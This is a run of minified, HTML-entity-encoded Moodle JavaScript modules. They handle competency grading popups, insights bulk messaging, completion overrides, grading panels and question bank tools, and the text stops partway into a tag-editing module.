 * @module report_competency/grading_popup
 * @copyright  2015 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;report_competency/grading_popup&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;core/log&quot;,&quot;core/templates&quot;,&quot;tool_lp/dialogue&quot;],(function($,notification,str,ajax,log,templates,Dialogue){var GradingPopup=function(regionSelector,userCompetencySelector){this._regionSelector=regionSelector,this._userCompetencySelector=userCompetencySelector,$(this._regionSelector).on(&quot;click&quot;,this._userCompetencySelector,this._handleClick.bind(this))};return GradingPopup.prototype._handleClick=function(e){var cell=$(e.target).closest(this._userCompetencySelector),competencyId=$(cell).data(&quot;competencyid&quot;),courseId=$(cell).data(&quot;courseid&quot;),userId=$(cell).data(&quot;userid&quot;);log.debug(&quot;Clicked on cell: competencyId=&quot;+competencyId+&quot;, courseId=&quot;+courseId+&quot;, userId=&quot;+userId);var requests=ajax.call([{methodname:&quot;tool_lp_data_for_user_competency_summary_in_course&quot;,args:{userid:userId,competencyid:competencyId,courseid:courseId}},{methodname:&quot;core_competency_user_competency_viewed_in_course&quot;,args:{userid:userId,competencyid:competencyId,courseid:courseId}}]);$.when(requests[0],requests[1]).then(this._contextLoaded.bind(this)).catch(notification.exception)},GradingPopup.prototype._contextLoaded=function(context){return context.displayuser=!0,M.util.js_pending(&quot;report_competency/grading_popup:_contextLoaded&quot;),$.when(str.get_string(&quot;usercompetencysummary&quot;,&quot;report_competency&quot;),templates.render(&quot;tool_lp/user_competency_summary_in_course&quot;,context)).then(function(title,templateData){return new Dialogue(title,templateData[0],(function(){templates.runTemplateJS(templateData[1]),M.util.js_complete(&quot;report_competency/grading_popup:_contextLoaded&quot;)}),this._refresh.bind(this),!0)}.bind(this))},GradingPopup.prototype._refresh=function(){var region=$(this._regionSelector),courseId=region.data(&quot;courseid&quot;),moduleId=region.data(&quot;moduleid&quot;),userId=region.data(&quot;userid&quot;);return&quot;&quot;===moduleId&amp;&amp;(moduleId=0),ajax.call([{methodname:&quot;report_competency_data_for_report&quot;,args:{courseid:courseId,userid:userId,moduleid:moduleId},done:this._pageContextLoaded.bind(this),fail:notification.exception}])},GradingPopup.prototype._pageContextLoaded=function(context){templates.render(&quot;report_competency/report&quot;,context).then(function(html,js){templates.replaceNode(this._regionSelector,html,js)}.bind(this)).catch(notification.exception)},GradingPopup.prototype._regionSelector=null,GradingPopup.prototype._userCompetencySelector=null,GradingPopup}));
/**
 * Message users.
 *
 * @module     report_insights/message_users
 * @copyright  2019 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;report_insights/message_users&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/log&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;],(function($,Str,Log,ModalFactory,ModalEvents,Templates,Notification,Ajax){var SELECTORS_BULKACTIONSELECT=&quot;#formactionid&quot;,MessageUsers=function(rootNode,actionName){this.actionName=actionName,this.attachEventListeners(rootNode)};return MessageUsers.prototype.actionName=null,MessageUsers.prototype.modal=null,MessageUsers.prototype.attachEventListeners=function(rootNode){$(rootNode+&quot; button[data-bulk-sendmessage]&quot;).on(&quot;click&quot;,function(e){e.preventDefault();var cTarget=$(e.currentTarget),users={},predictionToUserMapping=cTarget.data(&quot;prediction-to-user-id&quot;);return $(&#039;.insights-list input[data-togglegroup^=&quot;insight-bulk-action&quot;][data-toggle=&quot;slave&quot;]:checked&#039;).each((function(index,value){var predictionId=$(value).closest(&quot;tr[data-prediction-id]&quot;).data(&quot;prediction-id&quot;);if(void 0!==predictionToUserMapping[predictionId]){var userId=predictionToUserMapping[predictionId];users[predictionId]=userId}else Log.error(&quot;Unknown user for prediction &quot;+predictionId)})),0===Object.keys(users).length||this.showSendMessage(users),this}.bind(this))},MessageUsers.prototype.showSendMessage=function(users){var userIds=new Set(Object.values(users));if(0==userIds.length)return $.Deferred().resolve().promise();var titlePromise=null;return titlePromise=1==userIds.size?Str.get_string(&quot;sendbulkmessagesingle&quot;,&quot;core_message&quot;):Str.get_string(&quot;sendbulkmessage&quot;,&quot;core_message&quot;,userIds.size),$.when(ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,body:Templates.render(&quot;core_user/send_bulk_message&quot;,{})}),titlePromise).then(function(modal,title){return this.modal=modal,this.modal.setTitle(title),this.modal.setSaveButtonText(title),this.modal.getRoot().on(ModalEvents.hidden,function(){$(SELECTORS_BULKACTIONSELECT).focus(),this.modal.getRoot().remove()}.bind(this)),this.modal.getRoot().on(ModalEvents.save,this.submitSendMessage.bind(this,users)),this.modal.show(),this.modal}.bind(this))},MessageUsers.prototype.submitSendMessage=function(users){var messageText=this.modal.getRoot().find(&quot;form textarea&quot;).val(),messages=[];new Set(Object.values(users)).forEach((function(userId){messages.push({touserid:userId,text:messageText})}));var actionName=this.actionName,message=null;return Ajax.call([{methodname:&quot;core_message_send_instant_messages&quot;,args:{messages:messages}}])[0].then((function(messageIds){return 1==messageIds.length?Str.get_string(&quot;sendbulkmessagesentsingle&quot;,&quot;core_message&quot;):Str.get_string(&quot;sendbulkmessagesent&quot;,&quot;core_message&quot;,messageIds.length)})).then((function(msg){return message=msg,Ajax.call([{methodname:&quot;report_insights_action_executed&quot;,args:{actionname:actionName,predictionids:Object.keys(users)}}])[0]})).then((function(){return Notification.addNotification({message:message,type:&quot;success&quot;}),!0})).catch(Notification.exception)},{init:function(rootNode,actionName){return new MessageUsers(rootNode,actionName)}}}));
/**
 * Module to manage report insights actions that are executed using AJAX.
 *
 * @copyright  2017 David Monllao {@link http://www.davidmonllao.com}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;report_insights/actions&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/url&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,Str,Ajax,Notification,Url,ModalFactory,ModalEvents){return{initBulk:function(rootNode){$(rootNode+&quot; [data-bulk-actionname]&quot;).on(&quot;click&quot;,(function(e){e.preventDefault();var action=$(e.currentTarget),actionName=action.data(&quot;bulk-actionname&quot;),actionVisibleName=action.text().trim(),predictionIds=[],predictionContainers=[];if($(&#039;.insights-list input[data-togglegroup^=&quot;insight-bulk-action-&quot;][data-toggle=&quot;slave&quot;]:checked&#039;).each((function(){var container=$(this).closest(&quot;tr[data-prediction-id]&quot;);predictionContainers.push(container),predictionIds.push(container.data(&quot;prediction-id&quot;))})),0===predictionIds.length)return this;var strings=[];return Str.get_strings([{key:&quot;confirmbulkaction&quot;,component:&quot;report_insights&quot;,param:{action:actionVisibleName,nitems:predictionIds.length}},{key:&quot;confirm&quot;,component:&quot;moodle&quot;}]).then((function(strs){return strings=strs,ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:actionVisibleName,body:strings[0]})})).then((function(modal){return modal.setSaveButtonText(strings[1]),modal.show(),modal.getRoot().on(ModalEvents.save,(function(){return function(predictionIds,predictionContainers,actionName){return Ajax.call([{methodname:&quot;report_insights_action_executed&quot;,args:{predictionids:predictionIds,actionname:actionName}}])[0].then((function(){var tableNode=!1;if(predictionContainers.forEach((function(el){!1===tableNode&amp;&amp;(tableNode=el.closest(&quot;table&quot;)),el.remove()})),0===tableNode.find(&quot;tbody &gt; tr&quot;).length){let params={contextid:tableNode.closest(&quot;div.insight-container&quot;).data(&quot;context-id&quot;),modelid:tableNode.closest(&quot;div.insight-container&quot;).data(&quot;model-id&quot;)};window.location.assign(Url.relativeUrl(&quot;report/insights/insights.php&quot;,params,!1))}})).catch(Notification.exception)}(predictionIds,predictionContainers,actionName)})),modal})).catch(Notification.exception),this}))}}}));
define(&quot;report_participation/participants&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal_events&quot;,&quot;core/notification&quot;,&quot;core_user/local/participants/bulkactions&quot;],(function(_exports,_jquery,_custom_interaction_events,_modal_events,_notification,_bulkactions){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Some UI stuff for participants page.
   * This is also used by the report/participants/index.php because it has the same functionality.
   *
   * @module     core_user/participants
   * @copyright  2017 Damyon Wiese
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_modal_events=_interopRequireDefault(_modal_events),_notification=_interopRequireDefault(_notification);const Selectors_bulkActionSelect=&quot;#formactionid&quot;,Selectors_bulkUserSelectedCheckBoxes=&quot;input[data-togglegroup^=&#039;participants-table&#039;][data-toggle=&#039;slave&#039;]:checked&quot;,Selectors_participantsForm=&quot;#participantsform&quot;;_exports.init=()=&gt;{const root=document.querySelector(Selectors_participantsForm),resetBulkAction=bulkActionSelect=&gt;{bulkActionSelect.value=&quot;&quot;};_custom_interaction_events.default.define(Selectors_bulkActionSelect,[_custom_interaction_events.default.events.accessibleChange]),(0,_jquery.default)(Selectors_bulkActionSelect).on(_custom_interaction_events.default.events.accessibleChange,(e=&gt;{const action=e.target.value,checkboxes=root.querySelectorAll(Selectors_bulkUserSelectedCheckBoxes);if(-1!==action.indexOf(&quot;#&quot;)){e.preventDefault();const ids=[];checkboxes.forEach((checkbox=&gt;{ids.push(checkbox.getAttribute(&quot;name&quot;).replace(&quot;user&quot;,&quot;&quot;))})),&quot;#messageselect&quot;===action&amp;&amp;(0,_bulkactions.showSendMessage)(ids).then((modal=&gt;(modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{const bulkActionSelector=root.querySelector(Selectors_bulkActionSelect);resetBulkAction(bulkActionSelector),bulkActionSelector.focus()})),modal))).catch(_notification.default.exception)}else&quot;&quot;!==action&amp;&amp;checkboxes.length&amp;&amp;e.target.form().submit();resetBulkAction(e.target)}))}}));
/**
 * AMD module to handle overriding activity completion status.
 *
 * @module     report_progress/completion_override
 * @copyright  2016 onwards Eiz Eddin Al Katrib &lt;eiz@barasoft.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;report_progress/completion_override&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/templates&quot;],(function($,Ajax,Str,ModalFactory,ModalEvents,Notification,CustomEvents,Templates){var userFullName,triggerElement,userConfirm=function(e,data){data.originalEvent.preventDefault(),data.originalEvent.stopPropagation(),e.preventDefault(),e.stopPropagation();var elemData=(triggerElement=$(e.currentTarget)).data(&quot;changecompl&quot;).split(&quot;-&quot;),override={userid:elemData[0],cmid:elemData[1],newstate:elemData[2]},newStateStr=1==override.newstate?&quot;completion-y&quot;:&quot;completion-n&quot;;Str.get_strings([{key:newStateStr,component:&quot;completion&quot;}]).then((function(strings){return Str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;areyousureoverridecompletion&quot;,component:&quot;completion&quot;,param:strings[0]}])})).then((function(strings){return ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:strings[0],body:strings[1]})})).then((function(modal){modal.getRoot().on(ModalEvents.save,(function(){!function(override){Templates.render(&quot;core/loading&quot;,{}).then((function(html){return triggerElement.append(html),Ajax.call([{methodname:&quot;core_completion_override_activity_completion_status&quot;,args:override}])[0]})).then((function(results){var completionState=results.state&gt;0?1:0,tooltipKey=completionState?&quot;completion-y-override&quot;:&quot;completion-n-override&quot;;Str.get_string(tooltipKey,&quot;completion&quot;,userFullName).then((function(stateString){var params={state:stateString,date:&quot;&quot;,user:triggerElement.attr(&quot;data-userfullname&quot;),activity:triggerElement.attr(&quot;data-activityname&quot;)};return Str.get_string(&quot;progress-title&quot;,&quot;completion&quot;,params)})).then((function(titleString){var tracking,completionTracking=triggerElement.attr(&quot;data-completiontracking&quot;);return Templates.renderPix((tracking=completionTracking,completionState&gt;0?&quot;i/completion-&quot;+tracking+&quot;-y-override&quot;:&quot;i/completion-&quot;+tracking+&quot;-n-override&quot;),&quot;core&quot;,titleString)})).then((function(html){var oppositeState=completionState&gt;0?0:1;triggerElement.find(&quot;.loading-icon&quot;).remove(),triggerElement.data(&quot;changecompl&quot;,override.userid+&quot;-&quot;+override.cmid+&quot;-&quot;+oppositeState),triggerElement.attr(&quot;data-changecompl&quot;,override.userid+&quot;-&quot;+override.cmid+&quot;-&quot;+oppositeState),triggerElement.children(&quot;img&quot;).replaceWith(html)})).catch(Notification.exception)})).catch(Notification.exception)}(override)})),modal.getRoot().on(ModalEvents.hidden,(function(){triggerElement.focus(),modal.destroy()})),modal.show()})).catch(Notification.exception)};return{init:function(fullName){userFullName=fullName,$(&quot;#completion-progress a.changecompl&quot;).each((function(index,element){CustomEvents.define(element,[CustomEvents.events.activate])})),$(&quot;#completion-progress&quot;).on(CustomEvents.events.activate,&quot;a.changecompl&quot;,(function(e,data){userConfirm(e,data)}))}}}));
define(&quot;gradereport_grader/stickycolspan&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * Javascript module for fixing the position of sticky headers with multiple colspans
   *
   * @module      gradereport_grader/stickycolspan
   * @copyright   2022 Bas Brands &lt;bas@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const SELECTORS_GRADEPARENT=&quot;.gradeparent&quot;,SELECTORS_STUDENTHEADER=&quot;#studentheader&quot;,SELECTORS_TABLEHEADER=&quot;th.header&quot;,SELECTORS_BEHAT=&quot;body.behat-site&quot;;_exports.init=()=&gt;{if(document.querySelector(SELECTORS_BEHAT))return;const grader=document.querySelector(SELECTORS_GRADEPARENT),studentHeader=grader.querySelector(SELECTORS_STUDENTHEADER),leftOffset=getComputedStyle(studentHeader).getPropertyValue(&quot;left&quot;),rightOffset=getComputedStyle(studentHeader).getPropertyValue(&quot;right&quot;);grader.querySelectorAll(SELECTORS_TABLEHEADER).forEach((tableHeader=&gt;{if(tableHeader.colSpan&gt;1){const addOffset=tableHeader.offsetWidth-studentHeader.offsetWidth;window.right_to_left()?tableHeader.style.right=&quot;calc(&quot;+rightOffset+&quot; - &quot;+addOffset+&quot;px )&quot;:tableHeader.style.left=&quot;calc(&quot;+leftOffset+&quot; - &quot;+addOffset+&quot;px )&quot;}}))}}));
/**
 * AMD code for the frequently used comments chooser for the marking guide grading form.
 *
 * @module     gradingform_guide/comment_chooser
 * @copyright  2015 Jun Pataleta &lt;jun@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;gradingform_guide/comment_chooser&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/yui&quot;],(function($,templates,notification){return{initialise:function(criterionId,buttonId,remarkId,commentOptions){function generateCommentsChooser(){var context={criterionId:criterionId,comments:commentOptions};templates.render(&quot;gradingform_guide/comment_chooser&quot;,context).done((function(compiledSource){!function(compiledSource,comments){var titleLabel=&quot;&lt;label&gt;&quot;+M.util.get_string(&quot;insertcomment&quot;,&quot;gradingform_guide&quot;)+&quot;&lt;/label&gt;&quot;,cancelButtonId=&quot;comment-chooser-&quot;+criterionId+&quot;-cancel&quot;,cancelButton=&#039;&lt;button id=&quot;&#039;+cancelButtonId+&#039;&quot;&gt;&#039;+M.util.get_string(&quot;cancel&quot;,&quot;moodle&quot;)+&quot;&lt;/button&gt;&quot;,chooserDialog=new M.core.dialogue({modal:!0,headerContent:titleLabel,bodyContent:compiledSource,footerContent:cancelButton,focusAfterHide:&quot;#&quot;+remarkId,id:&quot;comments-chooser-dialog-&quot;+criterionId});$(&quot;#&quot;+cancelButtonId).click((function(){chooserDialog.hide()})),$.each(comments,(function(index,comment){var commentOptionId=&quot;#comment-option-&quot;+criterionId+&quot;-&quot;+comment.id;$(commentOptionId).click((function(){var remarkTextArea=$(&quot;#&quot;+remarkId),remarkText=remarkTextArea.val();&quot;&quot;!==remarkText.trim()&amp;&amp;(remarkText+=&quot;\n&quot;),remarkText+=comment.description,remarkTextArea.val(remarkText),chooserDialog.hide()})),$(document).off(&quot;keypress&quot;,commentOptionId).on(&quot;keypress&quot;,commentOptionId,(function(){var keyCode=event.which||event.keyCode;13!=keyCode&amp;&amp;32!=keyCode||$(commentOptionId).click()}))})),chooserDialog.after(&quot;visibleChange&quot;,(function(e){e.prevVal&amp;&amp;!e.newVal&amp;&amp;this.destroy()}),chooserDialog),chooserDialog.show()}(compiledSource,commentOptions)})).fail(notification.exception)}$(&quot;#&quot;+buttonId).click((function(e){e.preventDefault(),generateCommentsChooser()}))}}}));
define(&quot;gradingform_guide/grades/grader/gradingpanel&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core_grades/grades/grader/gradingpanel/normalise&quot;,&quot;core_grades/grades/grader/gradingpanel/comparison&quot;,&quot;jquery&quot;],(function(_exports,_ajax,_normalise,_comparison,_jquery){var obj;
/**
   * Grading panel for gradingform_guide.
   *
   * @module     gradingform_guide/grades/grader/gradingpanel
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.storeCurrentGrade=_exports.fetchCurrentGrade=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.fetchCurrentGrade=(component,contextid,itemname,gradeduserid)=&gt;(0,_ajax.call)([{methodname:&quot;gradingform_guide_grader_gradingpanel_fetch&quot;,args:{component:component,contextid:contextid,itemname:itemname,gradeduserid:gradeduserid}}])[0];_exports.storeCurrentGrade=async(component,contextid,itemname,gradeduserid,notifyUser,rootNode)=&gt;{const form=rootNode.querySelector(&quot;form&quot;);return!0===(0,_comparison.compareData)(form)?(0,_normalise.normaliseResult)(await(0,_ajax.call)([{methodname:&quot;gradingform_guide_grader_gradingpanel_store&quot;,args:{component:component,contextid:contextid,itemname:itemname,gradeduserid:gradeduserid,notifyuser:notifyUser,formdata:(0,_jquery.default)(form).serialize()}}])[0]):&quot;&quot;}}));
define(&quot;gradingform_guide/grades/grader/gradingpanel/comments&quot;,[&quot;exports&quot;,&quot;./comments/selectors&quot;],(function(_exports,_selectors){var obj;
/**
   * Grading panel frequently used comments selector.
   *
   * @module     gradingform_guide/grades/grader/gradingpanel/comments
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_selectors=(obj=_selectors)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.init=rootId=&gt;{document.querySelector(&quot;#&quot;.concat(rootId)).addEventListener(&quot;click&quot;,(e=&gt;{if(!e.target.matches(_selectors.default.frequentComment))return;e.preventDefault();const clicked=e.target.closest(_selectors.default.frequentComment),remark=clicked.closest(_selectors.default.criterion).querySelector(_selectors.default.remark);remark&amp;&amp;(remark.value.trim()?remark.value+=&quot;\n&quot;.concat(clicked.innerHTML):remark.value+=clicked.innerHTML)}))}}));
define(&quot;gradingform_guide/grades/grader/gradingpanel/comments/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={frequentComment:&#039;[data-gradingform_guide-role=&quot;frequent-comment&quot;]&#039;,criterion:&#039;[data-gradingform-guide-role=&quot;criterion&quot;]&#039;,remark:&#039;[data-gradingform-guide-role=&quot;remark&quot;]&#039;},_exports.default}));
define(&quot;gradingform_rubric/grades/grader/gradingpanel&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core_grades/grades/grader/gradingpanel/normalise&quot;,&quot;core_grades/grades/grader/gradingpanel/comparison&quot;,&quot;jquery&quot;],(function(_exports,_ajax,_normalise,_comparison,_jquery){var obj;
/**
   * Grading panel for gradingform_rubric.
   *
   * @module     gradingform_rubric/grades/grader/gradingpanel
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.storeCurrentGrade=_exports.fetchCurrentGrade=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.fetchCurrentGrade=(component,contextid,itemname,gradeduserid)=&gt;(0,_ajax.call)([{methodname:&quot;gradingform_rubric_grader_gradingpanel_fetch&quot;,args:{component:component,contextid:contextid,itemname:itemname,gradeduserid:gradeduserid}}])[0];_exports.storeCurrentGrade=async(component,contextid,itemname,gradeduserid,notifyUser,rootNode)=&gt;{const form=rootNode.querySelector(&quot;form&quot;);return!0===(0,_comparison.compareData)(form)?(0,_normalise.normaliseResult)(await(0,_ajax.call)([{methodname:&quot;gradingform_rubric_grader_gradingpanel_store&quot;,args:{component:component,contextid:contextid,itemname:itemname,gradeduserid:gradeduserid,notifyuser:notifyUser,formdata:(0,_jquery.default)(form).serialize()}}])[0]):&quot;&quot;}}));
define(&quot;qbank_columnsortorder/sort_columns&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/sortable_list&quot;,&quot;jquery&quot;],(function(_exports,_ajax,_notification,_sortable_list,_jquery){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript for sorting columns in question bank view.
   *
   * @copyright  2021 Catalyst IT Australia Pty Ltd
   * @author     Ghaly Marc-Alexandre &lt;marc-alexandreghaly@catalyst-ca.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_sortable_list=_interopRequireDefault(_sortable_list),_jquery=_interopRequireDefault(_jquery);const setOrder=columns=&gt;(0,_ajax.call)([{methodname:&quot;qbank_columnsortorder_set_columnbank_order&quot;,args:{columns:columns}}])[0],getColumnOrder=listRoot=&gt;{const columns=Array.from(listRoot.querySelectorAll(&quot;[data-pluginname]&quot;)).map((column=&gt;column.dataset.pluginname));return columns.filter(((value,index)=&gt;columns.indexOf(value)===index))};_exports.init=id=&gt;{(listRoot=&gt;{new _sortable_list.default(&quot;.list&quot;,{moveHandlerSelector:&quot;.item&quot;}),(0,_jquery.default)(&quot;.item&quot;).on(_sortable_list.default.EVENTS.DROP,(()=&gt;{const columns=getColumnOrder(listRoot);setOrder(columns).catch(_notification.exception),listRoot.querySelectorAll(&quot;.item&quot;).forEach((item=&gt;item.classList.remove(&quot;active&quot;)))})),(0,_jquery.default)(&quot;.item&quot;).on(_sortable_list.default.EVENTS.DRAGSTART,(event=&gt;{event.currentTarget.classList.add(&quot;active&quot;)}))})(document.querySelector(&quot;#&quot;.concat(id)))}}));
define(&quot;qbank_comment/comment&quot;,[&quot;exports&quot;,&quot;core/fragment&quot;,&quot;core/str&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;],(function(_exports,_fragment,Str,_modal_events,_modal_factory,_notification){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Column selector js.
   *
   * @module    qbank_comment/comment
   * @copyright  2021 Catalyst IT Australia Pty Ltd
   * @author     Safat Shahin &lt;safatshahin@catalyst-au.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_fragment=_interopRequireDefault(_fragment),Str=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Str),_modal_events=_interopRequireDefault(_modal_events),_modal_factory=_interopRequireDefault(_modal_factory),_notification=_interopRequireDefault(_notification);_exports.init=questionSelector=&gt;{let target=document.querySelector(questionSelector),questionId=target.getAttribute(&quot;data-questionid&quot;),courseID=target.getAttribute(&quot;data-courseid&quot;);target.addEventListener(&quot;click&quot;,(()=&gt;{((questionId,courseID,contextId)=&gt;{let args={questionid:questionId,courseid:courseID},commentFragment=_fragment.default.loadFragment(&quot;qbank_comment&quot;,&quot;question_comment&quot;,contextId,args);_modal_factory.default.create({type:_modal_factory.default.types.SAVE_CANCEL,title:Str.get_string(&quot;commentheader&quot;,&quot;qbank_comment&quot;),body:commentFragment,large:!0}).then((modal=&gt;{let root=modal.getRoot();return root.on(_modal_events.default.bodyRendered,(function(){document.querySelectorAll(&quot;div.comment-area a&quot;)[0].style.display=&quot;none&quot;})),Str.get_strings([{key:&quot;addcomment&quot;,component:&quot;qbank_comment&quot;},{key:&quot;close&quot;,component:&quot;qbank_comment&quot;}]).then((strings=&gt;{modal.setButtonText(&quot;save&quot;,strings[0]),modal.setButtonText(&quot;cancel&quot;,strings[1])})).fail(_notification.default.exception),root.on(_modal_events.default.cancel,(function(){location.reload(),modal.hide()})),root.on(_modal_events.default.save,(function(e){e.preventDefault();const submitlink=document.querySelectorAll(&quot;div.comment-area a&quot;)[0],textarea=document.querySelectorAll(&quot;div.comment-area textarea&quot;)[0];textarea.value!=textarea.getAttribute(&quot;aria-label&quot;)&amp;&amp;&quot;&quot;!=textarea.value&amp;&amp;submitlink.click()})),root.on(&quot;click&quot;,&#039;button[data-action=&quot;hide&quot;]&#039;,(()=&gt;{location.reload(),modal.hide()})),modal.show(),modal})).fail(_notification.default.exception)})(questionId,courseID,1)}))}}));
define(&quot;qbank_editquestion/question_status&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(_exports,_ajax,_notification){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Status column selector js.
   *
   * @module     qbank_editquestion/question_status
   * @copyright  2021 Catalyst IT Australia Pty Ltd
   * @author     Safat Shahin &lt;safatshahin@catalyst-au.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_ajax=_interopRequireDefault(_ajax),_notification=_interopRequireDefault(_notification);_exports.init=questionId=&gt;{document.querySelector(&quot;#question_status_dropdown-&quot;+questionId).addEventListener(&quot;change&quot;,(e=&gt;{const questionStatus=e.target.value;((questionId,status)=&gt;_ajax.default.call([{methodname:&quot;qbank_editquestion_set_status&quot;,args:{questionid:questionId,status:status}}])[0])(questionId,questionStatus).then((response=&gt;{response.error&amp;&amp;_notification.default.addNotification({type:&quot;error&quot;,message:response.error})})).catch()}))}}));
define(&quot;qbank_previewquestion/preview&quot;,[&quot;exports&quot;,&quot;jquery&quot;],(function(_exports,_jquery){var obj;
/**
   * Javascript for preview.
   *
   * @module     qbank_preview/preview
   * @copyright  2021 Catalyst IT Australia Pty Ltd
   * @author     Safat Shahin &lt;safatshahin@catalyst-au.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.init=(redirect,url)=&gt;{if(!redirect){document.getElementById(&quot;close-previewquestion-page&quot;).onclick=()=&gt;{null===window.opener?location.href=url:window.close()}}setupQuestionForm(&quot;responseform&quot;)};const setupQuestionForm=formElement=&gt;{let form=document.getElementById(formElement);form&amp;&amp;(autocompleteOff(form),preventRepeatSubmission(form),removeClass(&quot;.questionflagsavebutton&quot;,form),scrollToSavedPos(form))},autocompleteOff=form=&gt;{form.setAttribute(&quot;autocomplete&quot;,&quot;off&quot;)},preventRepeatSubmission=form=&gt;{form.addEventListener(&quot;submit&quot;,(function(){return(0,_jquery.default)(this).submit((function(){return!1})),!0}))},removeClass=(classname,form)=&gt;{form.querySelectorAll(classname).forEach((e=&gt;e.remove()))},scrollToSavedPos=form=&gt;{let matches=window.location.href.match(/^.*[?&amp;]scrollpos=(\d*)(?:&amp;|$|#).*$/,&quot;$1&quot;);matches&amp;&amp;(window.scrollTo(0,matches[1]),form.addEventListener(&quot;DOMContentLoaded&quot;,(()=&gt;{window.scrollTo(0,matches[1])})))}}));
/**
 * A javascript module to handle question tags editing.
 *
 * @module     qbank_tagquestion/edit_tags
